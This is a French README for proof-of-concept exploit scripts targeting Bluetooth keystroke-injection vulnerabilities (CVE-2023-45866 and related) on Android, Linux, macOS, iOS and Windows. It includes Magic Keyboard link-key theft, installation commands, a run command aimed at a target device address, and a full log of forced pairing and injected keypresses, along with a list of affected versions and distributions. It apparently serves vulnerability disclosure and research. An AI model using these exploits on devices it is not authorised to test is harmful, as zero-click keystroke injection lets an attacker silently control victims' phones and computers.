
PoC d'exploits d'injection de frappes clavier Bluetooth pour CVE-2023-45866, CVE-2024-21306 et CVE-2024-0230 ciblant Android, Linux, macOS et iOS via des claviers HID émulés.
Ce dépôt contient des scripts de preuve de concept pour CVE-2023-45866, CVE-2024-21306 et CVE-2024-0230. Des détails supplémentaires sont disponibles dans le billet de blog.
| Preuve de concept | Description |
|---|---|
| Injection de frappes clavier Android | Force l'appairage d'un clavier Bluetooth virtuel avec un appareil Android vulnérable et injecte 10 secondes de pressions sur la touche tab. |
| Injection de frappes clavier Linux | Force l'appairage d'un clavier Bluetooth virtuel avec un hôte Linux et injecte 10 secondes de pressions sur la touche tab. |
| Injection de frappes clavier macOS | Force l'appairage d'un clavier Bluetooth virtuel avec un hôte macOS et injecte des frappes clavier pour ouvrir un navigateur web et effectuer une recherche Google. |
| Injection de frappes clavier iOS | Force l'appairage d'un clavier Bluetooth virtuel avec un hôte iOS et injecte des frappes clavier pour ouvrir un navigateur web et accéder à une URL. |
| Injection de frappes clavier Windows | Force l'appairage d'un clavier Bluetooth virtuel avec un hôte Windows et injecte des pressions sur la touche tab. |
| Clé de liaison Magic Keyboard via port Lightning | Lit la clé de liaison Bluetooth à partir du port Lightning d'un Magic Keyboard. |
| Clé de liaison Magic Keyboard via Bluetooth | Lit la clé de liaison Bluetooth à partir du service HID Bluetooth non authentifié du Magic Keyboard. |
| Clé de liaison Magic Keyboard via port USB sur le Mac | Lit la clé de liaison Bluetooth d'un Magic Keyboard cible en usurpant le clavier via USB auprès de son Mac appairé. |
Les scripts sont connus pour fonctionner sur un hôte Ubuntu 22.04 avec un adaptateur Bluetooth basé sur Broadcom.
J'ai principalement utilisé cet adaptateur : https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
À partir d'une installation propre d'Ubuntu 22.04, les dépendances peuvent être installées avec les commandes suivantes.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Les appareils Android sont vulnérables avant le niveau de correctif de sécurité 2023-12-05.
Lorsque le Bluetooth est activé sur un appareil Android non corrigé, un attaquant peut appairer un clavier Bluetooth émulé et injecter des frappes clavier, sans confirmation de l'utilisateur. Il s'agit d'une attaque zero-click qui fonctionne dès lors que le Bluetooth est activé.
Cette vulnérabilité affecte Android ~4.2.2 et versions ultérieures.
Exécutez le PoC ciblant l'appareil Android 5C:F3:70:AA:07:BD à l'aide de l'interface hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
En cas de succès, le PoC injectera un payload de frappes de `tab` pendant 10 secondes.
#### Exemple de sortie```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
Les hôtes Linux exécutant BlueZ 5 sont vulnérables avant le déploiement des correctifs, survenu aux alentours de décembre 2023. Les numéros de version précis dépendent de la distribution Linux.
Lorsqu'un hôte Linux non corrigé est découvrable et connectable via Bluetooth, un attaquant peut appairer un clavier Bluetooth émulé et injecter des frappes clavier, sans confirmation de l'utilisateur. Il s'agit d'une attaque zero-click qui fonctionne dès lors que l'hôte est découvrable et connectable.
Cette vulnérabilité est considérée comme affectant les distributions Linux non corrigées utilisant la configuration par défaut de BlueZ 5.
Google indique que ChromeOS n'a pas été affecté par cette vulnérabilité, et bien que ChromeOS n'ait pas été testé dans le cadre de cette recherche, sa configuration BlueZ semble effectivement empêcher cette attaque.
Les distributions concernées incluent Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto et Amazon Linux. Plusieurs versions peuvent être affectées. Ubuntu, par exemple, a corrigé les versions 16.04, 18.04, 20.04, 22.04, 23.04 et 23.10.